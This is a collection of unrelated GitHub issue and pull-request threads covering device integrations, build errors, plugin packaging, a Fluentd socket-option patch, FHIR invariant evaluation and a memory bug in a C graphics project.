From your file I can only see switch for fan switch and fan_speed for fan speed, I didn't see anything for lights. Are you sure your device support light? Can you take some photos on Tuya Platform -> Cloud Develop -> device debugging page of your devices? Take photos for the standard instruction set and standard status set. @ryanuy

I check the Tuya IOT Platform and it looks like Tuya platform is not sending all the device info to the Tuya IOT Platform.

but on the tuya smart app it has both fan controls and light switch.

So, unfortunately your device have non-standard instrument set which are invisible from tuya platform, and we can't get it from OpenAPI too...
https://github.com/0x5e/homebridge-tuya-platform/issues/44#issuecomment-1305353363

I looks that way. thank you for you help.

You are welcome


[fix] gws/portal: board more links

Coverage remained the same at 55.917% when pulling 1d1326d62dae843f14e1c0f6cbff80593b28f84d on tany:gws into 3dccf98c28199c196b43eef6f0838d126a93b3a5 on shirasagi:master.


[BUG] agent status output is displayed as log

With Datadog agent 7.38.2, agent status output is displayed as a regular log.
This make json output processing harder
Agent Environment
agent version

Agent 7.38.2 - Commit: ba442fd - Serialization version: v5.0.23 - Go version: go1.17.11

agent status --json

2022-08-22 11:45:12 UTC | CORE | INFO | (cmd/agent/app/status.go:163 in requestStatus) | {[VERY LONG JSON OBJECT],"version":"7.38.2"}

Describe what happened:
We're using Datadog  agent deployed in kubernetes. A common way to get agent status is to use following command:
kubectl  exec -ti datadog-agent -c agent -- agent status --json

With 7.38.2, I have to:

specify DD_LOG_LEVEL to ensure LOG_LEVEL is either DEBUG or INFO (our agent use DD_LOG_LEVEL=WARNING which prevent agent status output to be displayed.
Since agent status output is displayed as a regular log, I have to parse the output to remove the log "prefix" 2022-08-22 11:45:12 UTC | CORE | INFO | (cmd/agent/app/status.go:163 in requestStatus) |  before getting a json object and being able to process it.

Describe what you expected:

When using the --json command line option, I expect to get straight a json object I can process without doing anything more.
When invoquing the status command, I expect to get the output displayed, no matter the DD_LOG_LEVEL value.

Hi @jbfavre,
This issue is already known and has been fixed in the repository. The fix is included as part of Agent v7.39.0 release which should be available soon. I'll close this issue since there's nothing to be done but feel free to reopen it if needed.


Install flow-typed error on forked dependencies

flow-typed install is giving me an error for this dependency
"react-select"<EMAIL_ADDRESS>MacBookPro:feedback-admin staff$ flow-typed install • Found 62 dependencies in package.json to install libdefs for. Searching... • flow-typed cache not found, fetching from GitHub... UNCAUGHT ERROR: TypeError: Invalid comparator<EMAIL_ADDRESS>   at Comparator.parse (/Users/staff/.config/yarn/global/node_modules/semver/semver.js:678:11)     at new Comparator (/Users/staff/.config/yarn/global/node_modules/semver/semver.js:662:8)     at /Users/staff/.config/yarn/global/node_modules/semver/semver.js:780:12     at Array.map (native)     at Range.parseRange (/Users/staff/.config/yarn/global/node_modules/semver/semver.js:779:13)     at Range.<anonymous> (/Users/staff/.config/yarn/global/node_modules/semver/semver.js:721:17)     at Array.map (native)     at new Range (/Users/staff/.config/yarn/global/node_modules/semver/semver.js:720:40)     at pkgVersionMatch (/Users/staff/.config/yarn/global/node_modules/flow-typed/dist/lib/npm/npmLibDefs.js:328:18)     at /Users/staff/.config/yarn/global/node_modules/flow-typed/dist/lib/npm/npmLibDefs.js:353:82
Am i missing something here ?

No, unfortunately flow-typed does not support package versions with prefixes (git+, github:). Since code layout and package versioning is strongly based around semver (x.x.x), it's difficult to infer the version from a line like "react-select"<EMAIL_ADDRESS>Related: #895

#1127 Feature Issue for this.


[SMALLFIX] User folder delete fix

Deletes user folders in a new way after the user times out. This way if the user does not have any lingering blocks, their user folders will still be cleaned up.

@apc999, please review this PR

+1 LGTM


vimPlugins: add ddc.vim and related plugins

Description of changes
This adds the most commonly used set of ddc.vim plugins, or at least the set I use as part of my completion setup.
You can read more about ddc.vim over here: https://github.com/Shougo/ddc.vim
I've manually tested that these plugins work with my vim setup, and so far I've been maintaining an overlay for them. I'm hoping to be able to upstream them so others can benefit, and to simplify my own setup.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Those plugins depend on each other, could you please specify it similar to here?

I verified the rebased-and-updated plugins in this PR still work with my vim setup!
Other than adding the pum dependency, I'm happy with this.

Now that the pum-vim PR merged, I've updated ddc-ui-pum to have that dependency; as far as I know, this is good to go!

shouldn't that depend on a deno runtime somewhow ?

They do indirectly!
denops-vim depends on deno here, ddc-vim depends on denops-vim, and all of these depend on ddc-vim.
I could explicitly add the denops dependency for all of them as well, but I believe as-is they'll always pull in deno via denops.

my bad, was too lazy to check it out. Patching denops-vim (vimPlugins in general is tough). Is there a way to setup the path towards deno without patching the plugin, via configuration for instance, like vim.g.denops_runtime = ....
It's tangential to this PR that I approve, just curious.

There's indeed the g:denops#deno setting, so people can override it if they want that way.
The current approach feels nice to me, since changing that external config's default value via adding an extra autoload file or such would, well, change the observable default value.

thanks. Good to know. There is no clear stance on how to package the vim plugins. I would like to avoid patching as much as possible because it's bad practice (makes upstream debugging harder) but alternatives are not great for now.
I am thinking about having the neovim wrapper collect configurations from the plugins and autoadd it to its config ?!
You can read about this here https://github.com/NixOS/nixpkgs/issues/172538.
Waiting for CI before merge


Provide a way to select which access token to use for the API test kits

In the Single Patient API test sequence, the access token is automatically defaulted in, and it isn't editable.  However, it isn't clear which access token is being used.  If you run the test kit in order, there are three access tokens floating around:

The token from the Standalone Patient App sequence
The token from the Limited Access App sequence
The token from the EHR Practitioner App sequence

I've haven't really figured out exactly which one gets used, and if it depends on what order the tests were run.  But I think it would be nice if you just gave the user a drop-down list with the list of tokens, and which preceding sequence was used to acquire the token .

I found inferno 1 always used the last token acquired, so if you run the steps in order it will always be the one from the EHR launch. It is in fact their intent that we only run the single patient api tests for certification with the EHR launch token. You can run the standalone launch and then the single patient tests if you want, but you don't have to. The limited access token would be expected to fail many tests because it only gives you access to some of the resources.

I do agree that this could be made more clear in the UI.

We also found that Inferno 1.9 always used the last token.  We always re-ran the patient launch step before doing the API tests so we would make sure the API content being validated was using the patient token not the EHR launch token.
I'm curious about how firm that intent was.  Historically, API certification criteria have been more patient-oriented, and we (Epic) were carrying that intent forward.
I suppose the "robust" solution is to run the API tests against both provider-facing and patient-facing tokens.  Our APIs should pass both, but we always put the patient-facing APIs front and center out of habit.

It was an intentional decision to default to using the EHR launch token if you just run through the tests in order. We weren't comfortable saying that all of the data we need to see has to be present in a single patient's record. As a result, we provided a way to specify multiple patient ids and check that those patients together have all of the necessary data. The potential need to access multiple patients' data meant that it made sense to default to using the credentials from the user-scoped EHR launch.
As you say, running the single patient API tests using both sets of credentials would be more robust. There are several cases where we could test more thoroughly (e.g. even more SMART launch variants), but we try to balance the potential benefits to interoperability, the testing experience, and the development/maintenance effort. In this specific case, I'd consider the potential interoperability benefits and development/maintenance effort pretty low, but the negative impact to the testing experience quite high.

We weren't comfortable saying that all of the data we need to see has to be present in a single patient's record.

That makes a lot of sense to me since some of the profiles are specific to children and then a lot of other data elements you are validating wouldn't make sense on a child patient. For running inferno to get the tests passing we have 5 patients we are using. I have run it a few times with the standalone patient launch, but a lot of tests are skipped due to missing data.

Your reasoning makes sense to me as well.
However, I still think it would be nice to have an access token selector.  Even if we don't need to test across all token types for certification, it would be useful for ad-hoc testing.  This is clearly a quality of life enhancement that isn't required or necessary for certification.  So I understand if you have other things to prioritize.


Json Parsing incorrectly

I have data in csv as
header1 header 2 header3
a             b           c
Json is parsing as below
{header1 header2 header2:"a b c"}

have you setup the correct delimiter? The default delimiter is comma (,)

yes , i did

It would be helpful if you could send some sample data that does not work.
As I put
header1 header 2 header3
a b c

with delimiter:' ' , it worked without any issues.

Close due to no activity


Correct the algorithm

Change the fitness function to fix the roulette wheel method: previously, higher fitness values meant that the chromosome is worse. However, the roulette method preferred higher values. We must use a fitness value that is the bigger the better. I used an inverse of the distance (+1 to account for special cases).
The mutation method had a bug that made it always swap a city with itself.
Use "Eliteness": keep good chromosomes from previous generations instead of always keeping only the newly generated ones.
Lower the mutation rate: the current mutation method needs very low mutation_rate to work as intended.
Don't plot the solutions, and print the best chromosome instead: the plotting function doesn't work correctly. It's printing some paths that don't match the found solutions. I don't have the energy to fix this, so I've just removed it :)

btw, after applying the changes in this PR, the best solution has a fitness of around ~ 0.032 . Anything around 0.031 is very good.
Previously the best fitness is around 30 .


Connection error:  responded with an unexpected status code 500 to passthrough

Description
Right after I got hands on the updated Android app with 3rd party compatibility this issue started to occur. I'm trying the add the camera from the standard new device discovery and it is found, but when I'm entering the camera account details I'm getting the following error: Connection error:  responded with an unexpected status code 500 to passthrough. This happens only if I'm using the correct credentials, because otherwise the error message is different saying about the incorrect credentials.
I have tried to reboot everything without results.
Before the 3rd party compatibility requirement this was working flawlessly without any need for LAN port configurations etc, but could that be the case now? I mean, before the cloud credential ordeal started, so this was out of use for 6-7 months.
Any ideas? Anyone else with this issue?
Reproduction Steps
Devices & Services -> Discovered:  -> Add -> Authenticate: The device requires authentication, please input your TP-Link credentials below
Expected behavior
successful integration connection
If applicable, add error logs.
No response
Device Firmware
1.3.16
Integration Version
6.0.1
Using stream component
Yes
Does camera work via official integrations?
Yes
Camera has all attributes filled out in developer tools
Yes
HASS Environment
Rasberry Pi 4
Search for similar issues
Yes
Additional information
No response

Thanks, looks better! Although now I'm trying to sort this cloud password
issue out, but hopefully after reboots it will work. Cheers!
On Mon, 16 Dec 2024, 17.00 Juraj Nyíri, @.***> wrote:

You are adding the HA core integration, not this one. Follow
https://github.com/JurajNyiri/HomeAssistant-Tapo-Control?tab=readme-ov-file#usage
.
—
Reply to this email directly, view it on GitHub
https://github.com/JurajNyiri/HomeAssistant-Tapo-Control/issues/766#issuecomment-2545572591,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASFTB44L6BXTZRZLICI7S532F3FGRAVCNFSM6AAAAABTWC3HKWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDKNBVGU3TENJZGE
.
You are receiving this because you authored the thread.Message ID:
@.***>


FCMAndroidConfig internal initializer

Hi!
In release 3.0.0-beta FCMAndroidConfig initializer became internal. And now it's not possible to create this structure.

I have created PR here

Thank you, it is now available in 3.0.0-beta.2 🤝


Currently your site throws a 503 when trying to read how you did everything.

Building a Full Stack Application From Scratch with Svelte and Node.zip
I have uploaded the cache files if anyone is interested and would like to read the docs.


chore(deps): update dependency grunt-contrib-jshint to v3

This PR contains the following updates:

Package
Type
Update
Change

grunt-contrib-jshint
devDependencies
major
^1.0.0 -> ^3.0.0

Release Notes

gruntjs/grunt-contrib-jshint
v3.2.0
Compare Source

Merge pull request #307 from gruntjs/hotfix-main  d9c3b35
Patch Update 3.1.1  f3eb299

v3.1.1
Compare Source

Update to 3.1.1  ace956f

v3.1.0
Compare Source

update jshint to ~2.13.0  b7edf02
Merge pull request #303 from gruntjs/dependabot/npm_and_yarn/path-parse-1.0.7  270d8dd
Bump path-parse from 1.0.6 to 1.0.7  77dca66
Merge pull request #301 from gruntjs/dependabot/npm_and_yarn/hosted-git-info-2.8.9  1028d82
Bump hosted-git-info from 2.8.8 to 2.8.9  eb0314f
Merge pull request #300 from gruntjs/dependabot/npm_and_yarn/lodash-4.17.21  337623c
Bump lodash from 4.17.20 to 4.17.21  51e07d4
Merge pull request #299 from gruntjs/dependabot/npm_and_yarn/y18n-4.0.1  9c08ff1
Bump y18n from 4.0.0 to 4.0.1  7834701
Merge pull request #298 from gruntjs/dependabot/npm_and_yarn/ini-1.3.8  d4359aa
Bump ini from 1.3.5 to 1.3.8  52f5e31
Add changelog  8f597c2
Merge pull request #275 from raddevon/patch-1  fc210e7
Merge pull request #297 from gruntjs/peer-dep  03f4302
Remove Grunt peerDependency  01d13d2
Merge pull request #296 from gruntjs/chalk-upt  c78f6ee
Update chalk  656f31b
Merge pull request #295 from gruntjs/uptdate-deps-oct  16ee83d
Update dependencies, switch to github actions  df2b06d
Merge pull request #291 from gruntjs/dependabot/npm_and_yarn/lodash-4.17.15  9bb54cd
Bump lodash from 4.17.10 to 4.17.15  d2e4063
Ensures errors in stdoutEqual callback are logged  7a6fec4

v3.0.0
Compare Source
v2.1.0
Compare Source
v2.0.0
Compare Source

Bump devDependencies.
Drop Node.js < 6 support.

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

Renovate Ignore Notification
As this PR has been closed unmerged, Renovate will ignore this upgrade and you will not receive PRs for any future 3.x releases. However, if you upgrade to 3.x manually then Renovate will reenable minor and patch updates automatically.
If this PR was closed by mistake or you changed your mind, you can simply rename this PR and you will soon get a fresh replacement PR opened.


Enable server plugins to specify socket-option SO_LINGER

Which issue(s) this PR fixes:
None.
What this PR does / why we need it:
in_forward plugin has linger_timeout config, but most plugins using the server helper doesn't have the config, such as in_tcp or in_http.
The helper sets 0 to this option by default.
It causes the server to send RST rather than FIN on closing.
So this value needs to be changed if needing FIN signal on closing.
Adding this option to transport_config enables all plugins using the helper to change this value.
This fix makes linger_timeout config of in_forward plugin deprecated, but that config value can work as before.
Docs Changes:
Need.
https://github.com/fluent/fluentd-docs-gitbook/pull/392
Release Note:
Need.

Run Fluentd with the following config.

<source>
  @type tcp
  tag tcp.test
  <parse>
    @type regexp
    expression /^(?<field1>\d+):(?<field2>\w+)$/
  </parse>
</source>
<match tcp.*>
 @type stdout
</match>

Run wireshark with the filter tcp.srcport == 5170 || tcp.dstport == 5170.
Run the following command and create TCP connection.

$ nc <IP_ADDRESS> 5170

Stop Fluentd by pressing Ctrl+C.

Then we can confirm there is no FIN signal, but RST signal to close the connection.
With this fix, we can add linger_timeout to transport section as follows
and this enables the server to send FIN signal on closing.
<source>
  @type tcp
  tag tcp.test
  <parse>
    @type regexp
    expression /^(?<field1>\d+):(?<field2>\w+)$/
  </parse>
  <transport tcp>
    linger_timeout 1
  </transport>
</source>
<match tcp.*>
 @type stdout
</match>

Great! Thanks for the patch.
Adding it to transport section is reasonable.
In addition, this patch seems to keeps backward compatibility carefully:

linger_timeout of in_forward still exists and marked as deprecated.
The default linger_timeout for in_forward is kept as 0 (if a user doesn't set it, it will be set by server helper)

This patch keeps backward compatibility, and it seems to be at low risk of breaking existing features.
So I decide to merge it into next release (probably v1.14.6).
TODO: I think we need to determine & announce more systematic release cycle.

this patch seems to keeps backward compatibility

Yes, I have made this fix to keep backward compatibility.
Thanks for merging!


Could you offer your  method code or EndoVis17 dataset for transferring normal images to low-light images

(^_^)

Sorry, I am quite busy right now, but I will release the related dataset after MICCAI 2024. Thank you for your patience.
The related method can be found in this paper: (https://arxiv.org/abs/1511.03995)
K.G Lore et al.: Llnet: A deep autoencoder approach to natural low-light image enhancement. Pattern Recognition 61, 650–662, 2017.


error

cannot find module bluebird http://prntscr.com/bxbaa4

npm install bluebird will push an update in a second to fix this.
Sorry.

now its saying im missing vesrion id and share code when i clearly have them there http://prntscr.com/bxbm1b im using default.json


Auto-scale meshes in widgets

Similar to: https://jsfiddle.net/prisoner849/a2ogz9vx/
Add a new method to scale mesh in the widget "update" methods.

https://github.com/mrdoob/three.js/blob/dev/examples/js/controls/TransformControls.js


NDSR-907: Migrate accounts CSV into TOML.

Ref: https://casperlabs.atlassian.net/browse/NDRS-907
This PR replaces accounts.csv into a structured TOML file in preparation to hold delegators data there as well.
New structure:
[[accounts]]
public_key = "01522ef6c89038019cb7af05c340623804392dd2bb1f4dab5e4a9c3ab752fc0179"
balance = "1000000000000000000000000000"
bonded_amount = "0"

bors r+

bors r+


Ordering flashcards from "get all word combos" recursive method

As of yet, I don't understand why the output words are ordered the way they are!
Input:
你好吗
我是山外
豆腐多少钱吗
Output
你	you (informal, as opposed to courteous 您[nin2])/	nǐ
豆	bean/pea/CL:棵[ke1],粒[li4]/sacrificial vessel/	dòu
是	variant of 是[shi4]/(used in given names)/	shì
腐	decay/rotten/	fǔ
我	I/me/my/	wǒ
山	mountain/hill/anything that resembles a mountain/CL:座[zuo4]/bundled straw in which silkworms spin cocoons/gable/	shān
少	young/	shào
钱	coin/money/CL:筆|笔[bi3]/unit of weight, one tenth of a tael 兩|两[liang3]/	qián
你好	Hello!/Hi!/How are you?/	nǐhǎo
外	outside/in addition/foreign/external/	wài
吗	(question particle for "yes-no" questions)/	ma
多	many/much/often/a lot of/numerous/more/in excess/how (to what extent)/multi-/Taiwan pr. [duo2] when it means "how"/	duō
豆腐	tofu/bean curd/	dòufu
多少	how much/how many/which (number)/as much as/	duōshao
好	to be fond of/to have a tendency to/to be prone to/	hào

Due to the implementation of HashSet, you could look into other types of
set/collection maybe?
On 22 September 2017 at 16:30, IdiosApps<EMAIL_ADDRESS>wrote:

As of yet, I don't understand why the output words are ordered the way
they are!
Input:
你好吗
我是山外
豆腐多少钱吗
Output
你 you (informal, as opposed to courteous 您[nin2])/ nǐ
豆 bean/pea/CL:棵[ke1],粒[li4]/sacrificial vessel/ dòu
是 variant of 是[shi4]/(used in given names)/ shì
腐 decay/rotten/ fǔ
我 I/me/my/ wǒ
山 mountain/hill/anything that resembles a mountain/CL:座[zuo4]/bundled
straw in which silkworms spin cocoons/gable/ shān
少 young/ shào
钱 coin/money/CL:筆|笔[bi3]/unit of weight, one tenth of a tael 兩|两[liang3]/
qián
你好 Hello!/Hi!/How are you?/ nǐhǎo
外 outside/in addition/foreign/external/ wài
吗 (question particle for "yes-no" questions)/ ma
多 many/much/often/a lot of/numerous/more/in excess/how (to what
extent)/multi-/Taiwan pr. [duo2] when it means "how"/ duō
豆腐 tofu/bean curd/ dòufu
多少 how much/how many/which (number)/as much as/ duōshao
好 to be fond of/to have a tendency to/to be prone to/ hào
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/danielt998/HanziToAnki/issues/62, or mute the thread
https://github.com/notifications/unsubscribe-auth/AOmv5Gr4fbChCwEsaDlyHYNvaG22yq69ks5sk9KIgaJpZM4Pg3wb
.

LinkedHAshSet will preserve insertion order, or we can use TreeSet to store them alphabetically, but  I'm wondering what the value would be of that, and what order would the user prefer?

I think storing them in insertion order would be close to ideal; for example, consider the case where a user inputs a song's lyrics - naturally, you'd want to go through the words chronologically and build up from the start of the song. At least, for this use case insertion order would be grand.

I was thinking along the same lines - so feel free to replace all HashSets
with LinkedHashSets. One thing we might want to consider in the future is
support for other orderings, for example, order by frequency of that word
in the text or by the frequency of the word in 'real life' - if we could
find some info on that.
On 22 September 2017 at 17:07, IdiosApps<EMAIL_ADDRESS>wrote:

I think storing them in insertion order would be close to ideal; for
example, consider the case where a user inputs a song's lyrics - naturally,
you'd want to go through the words chronologically and build up from the
start of the song. At least, for this use case insertion order would be
grand.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/danielt998/HanziToAnki/issues/62#issuecomment-331489975,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFgmfj-vLsPks_NumPtn0vDIlnQJwO1bks5sk9sugaJpZM4Pg3wb
.

Would be a good option - though I guess if a character is frequent in the input then it'll be likely to appear early on, and it may be better to just go with insertion-ordering to make comprehension of a text more smooth. If you go by frequency ordering, you'd be good at skimming through a text to pick out characters - but then you're losing the context of the text.

Note: It seems that whilst LinkedHashSet orders items according to insertion and doesn't create duplicate entries, it replaces old entries of context with newer entries.
I think it'd be best if, once an entry is made, it is not replaced - this way you'll have immediate context for e.g. a song, instead of potentially having the context at the end.

I think a better option might be to have multiple "context"s per word and
then display all of the sentences in which a word occurs.
On 25 September 2017 at 09:58, IdiosApps<EMAIL_ADDRESS>wrote:

Note: It seems that whilst LinkedHashSet orders items according to
insertion and doesn't create duplicate entries, it replaces old entries
of context with newer entries.
I think it'd be best if, once an entry is made, it is not replaced - this
way you'll have immediate context for e.g. a song, instead of potentially
having the context at the end.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/danielt998/HanziToAnki/issues/62#issuecomment-331819490,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFgmfhokI_TJHVhcQErJQyHdkK6tbuEYks5sl2tHgaJpZM4Pg3wb
.

@danielt998 probably want to have a default upper limit of 3 context lines. Otherwise things could get messy for those frequent characters!

Pseudocode (mostly unsure about making sure Anki knows to put the extra contexts on their own lines):
If (word.context!=null) {
word.setContext(word.getContext() + "\n" + line)
}

How would you count how many lines of context have been added to a word? One (not very nice) way would be to add a "context counter" field to the Word class. Otherwise, you could detect the number of "\n" (or whatever works for Anki in the end)

stale


Update _index.md

Missing sudo

Description of the change:
Motivation for the change:
Checklist
If the pull request includes user-facing changes, extra documentation is required:

[ ] Add a new changelog fragment in changelog/fragments (see changelog/fragments/00-template.yaml)
[ ] Add or update relevant sections of the docs website in website/content/en/docs

@ElanHasson could you sign your commit? git rebase HEAD~1 --signoff will do it.

I think we're good now! Thanks

Closing and reopening to see if that kicks the CI.

While I welcome the PR and I encourage you to continue submitting them, I do not think we need to use sudo to change the mode of the binary if it was downloaded by the user to a directory they have access to. I am therefore, closing this PR.

@jmrodri I totally understand. It was probably environmental for me. Thanks anyway!


Invariant should be evaluating to true, but returns false

This invariant evaluation:
library Retrieve1 version '1.0'
using FHIR version '3.0.0'
include FHIRHelpers version '3.0.0' called FHIRHelpers
context Patient

define Money: FHIR.Money {
  value: FHIR.decimal { value: 1.0 },
  code: FHIR.code { value: '$' },
  system: FHIR.uri { value: 'urn:iso:std:iso:4217' }
}

define MoneyInvariant: Money.select((code."exists"() or value.empty()) and (system.empty() or system = FHIR.uri { value: 'urn:iso:std:iso:4217' }))

should be evaluating to true, there is a code, so there can be a value, and the system is correct. But it is evaluating to false.

The issue is with this argument system = FHIR.uri { value: 'urn:iso:std:iso:4217' }
That is failing because HAPI's UriType doesn't have the equals(UriType other) override defined. Instead, they have an equals(String theString) function.
However, the following does evaluate as true:
define MoneyInvariant:
  Money.select(
    (code."exists"() or value.empty())
    and (system.empty() or system = 'urn:iso:std:iso:4217')
  )

Which seems closer to the expression laid out in the FHIR spec:
(code or value.empty()) and (system.empty() or system = 'urn:iso:std:iso:4217')

Okay, I didn't even think to try that because I had already gotten an error about not being able to resolve ToString() (That's why I added the FHIR.uri selector in the first place).
So, if you take that out of the Money definition:
library Retrieve1 version '1.0'
using FHIR version '3.0.0'
include FHIRHelpers version '3.0.0' called FHIRHelpers
context Patient

define Money: FHIR.Money {
  value: FHIR.decimal { value: 1.0 },
  code: FHIR.code { value: '$' } //,
  //system: FHIR.uri { value: 'urn:iso:std:iso:4217' }
}

define MoneyInvariant: Money.select((code."exists"() or value.empty()) and (system.empty() or system = 'urn:iso:std:iso:4217'))

Then it gets an error about not being able to resolve ToString(). That's the overload issue which we're already addressing in a different way, so don't worry about that one, but is there a way we can address the Equal not being provided by HAPI there? Like a class-based equal provider?

Interesting. Yeah, I think so. I could develop a provider similar to the external function provider for equality functions.
I can aslo try something like this:
if (left.getClass() == right.getClass()) {
  try {
    Object leftValue = left.getClass().getMethod("getValue").invoke(left);
    Object rightValue = right.getClass().getMethod("getValue").invoke(right);
    return equal(leftValue, rightValue);
  } catch (Exception e) {
    // continue to general equals
  }
}

That would work for this case and other cases involving HAPI's STU3 primitives, but it is hacky for sure.

Resolved by adding equal and equivalent to the ModelResolver interface


Core July Release Changelog

Contributing to the Azure SDK
Please see our CONTRIBUTING.md if you are not familiar with contributing to this repository or have questions.
For specific information about pull request etiquette and best practices, see this section.

API change check
API changes are not detected in this pull request.


Corrected MaxRet default value in documentation

The default value is 10,000 not 1,000 - https://github.com/Microsoft/perfview/blob/bf565bc8fd801c9ec86a2d33d499aa75cf10b4d6/src/PerfView/EventViewer/EventWindow.xaml.cs#L873

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@3bc1978). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #385   +/-   ##
=========================================
  Coverage          ?   17.42%
=========================================
  Files             ?      211
  Lines             ?   122428
  Branches          ?    11772
=========================================
  Hits              ?    21333
  Misses            ?   100247
  Partials          ?      848

Flag
Coverage Δ

#2017
17.42% <ø> (?)

#Debug
17.42% <ø> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3bc1978...4f9d7cf. Read the comment docs.


Exception Thrown on _sapp_wgl_destroy_context when building with cl x64

So I started this little project some time ago, nothing new, just trying to get a bunch of C libraries together and build some kind of framework. Starting a couple days ago I noticed that on exit, the application was taking longer than expected but didn't make much of it as there was no error message or anything.
That's until yesterday that I decided to run it in the VS debugger and discovered that sokol_app, on exit, was throwing an exception. I have tried to see what's going on for myself but I don't quite understand the whole open gl function callback system sokol is using.

I was trying to figure out when exactly this problem started happening, and I've discovered that this started happening when I changed building process.
Now, before, I used to use Clang (Well, it was actually zig, which has a builtin compiler, and was the reason I started writing stuff in C, because installing zig in a fraction of a second gave you a full C development environment, but anyway). Now, as I have been very much learning as of lately, I wanted to try and learn how to compile for windows without relying on VS, so I pretty much redid my script to work with cl. And when building with cl I started getting this issue I'm talking about.
There is not much useful information in VS other than that there is an exception (at least not useful for me).
Here is the call stack:
ntdll.dll!00007fff3bd93462()	Unknown
ntdll.dll!00007fff3bd9c22a()	Unknown
ntdll.dll!00007fff3bd9c50a()	Unknown
ntdll.dll!00007fff3bda5e5d()	Unknown
ntdll.dll!00007fff3bd3d015()	Unknown
ntdll.dll!00007fff3bca4e9d()	Unknown
ig9icd64.dll!00007ffea0073d40()	Unknown
ig9icd64.dll!00007ffea00de793()	Unknown
ig9icd64.dll!00007ffea00934b6()	Unknown
opengl32.dll!00007fff0f3e1d0e()	Unknown
---> cengine.exe!_sapp_wgl_destroy_context() Line 4720	C
cengine.exe!_sapp_win32_run(const sapp_desc * desc) Line 5484	C
cengine.exe!sapp_run(const sapp_desc * desc) Line 8096	C
cengine.exe!main(int argc, char * * argv) Line 301	C
[Inline Frame] cengine.exe!invoke_main() Line 78	C++
cengine.exe!__scrt_common_main_seh() Line 288	C++
kernel32.dll!00007fff3acf30f4()	Unknown
ntdll.dll!00007fff3bcca33b()	Unknown

And here is the debug log of VS:
'cengine.exe' (Win32): Loaded 'C:\Users\OscarA\Documents\git_Projects\GameProject\cengine3\bin\windows\cengine.exe'.
The thread 0x5904 has exited with code 1 (0x1).
'cengine.exe' (Win32): Unloaded 'C:\Windows\System32\DriverStore\FileRepository\42_dell_kabylake_hws_iigd_dch.inf_amd64_81f23355c6e61f19\igdml64.dll'
'cengine.exe' (Win32): Loaded 'C:\Windows\System32\DriverStore\FileRepository\42_dell_kabylake_hws_iigd_dch.inf_amd64_81f23355c6e61f19\igdml64.dll'.
The thread 0x5984 has exited with code 0 (0x0).
Critical error detected c0000374
cengine.exe has triggered a breakpoint.

Also, there is nothing in the console when this happens, it just closes without warning (unless running it in the debugger that is).
Now, I'm not sure if it is related, but there is a second issue, that happens regardless of compiler used. 1/5 of the times I run my application sokol says that sg_pipeline_desc.shader missing or invalid and that it's terminating. It's very random and I have no clue how to debug it but I don't think it's related tho.
Sorry for the wall of text :sweat:, any insights on this issue?

Well this is weird, but I just installed clang 10.0 from the webpage and compiled the project using both clang and clang-cl (although if I understand correctly that only changes the syntax of the command line and there is no actual difference? I might be wrong no idea) and the problem is still there... So, I'm guessing the reason that when I compile with zig it works (even though it uses clang internally as far as I know) is that building with zig cc I was using the flag-target x86_64-windows-gnu. And if I understand zig compiling stuff correctly when compiling with zig, it is not using my local native windows libraries and stuff, but rather, it's using it's own "copy" for the given target, in my case  x86_64-windows-gnu. So now the question is why I'm getting that exception, with the native sdk in my windows installation but not with zigs provided one? This is beyond my understanding so far

Thanks for the detailed bug report. If the exception happens in the assignment _sapp.wgl.gl_ctx = 0; then this is strange indeed because this is a static variable, but maybe the problem happened in the statement before (which at least would make more sense).
This is also concerning (at least the fact that this happens sometimes and sometimes not):
"sg_pipeline_desc.shader missing or invalid"
All in all these sound like random memory corruption problems to me, but it's hard to "remote debug" this sort of problems.
Also, are you compiling and testing in debug mode, e.g. can you step through the code with the debugger? Debug mode is also important because only in debug mode the sokol-gfx validation layer and the SOKOL_ASSERT() checks are active, both are very important to find any API usage errors early, otherwise all sorts of problems can show up much later when it's hard to debug.
Is your code public somewhere so I could have a quick look?

PS: also when you're able to compile with clang I would suggest compiling with the clang static analyzer and look for any suspicious warnings, and more importantly, compile and run with the clang address sanitizer enabled, if there are any memory corruption problems, this will definitely find it.
The latest Visual Studio 2019 version also has a memory sanitizer feature, might make sense to try that too.

Ah... I feel so dumb. I guess this is what they meant when saying that manual memory management related bugs can be a pain TT
I was allocating the size of my index buffer wrong. Instead of allocating 6 unsigned integers per quad, I was only allocating 1. It works great now. It doesn't explain how when building with the zig compiler I had no problem tho... That's weird, but I'm pretty sure it's something I was doing wrong and nothing else.
In any case, thanks! And thanks for Sokol 👍


Notification event

User stories
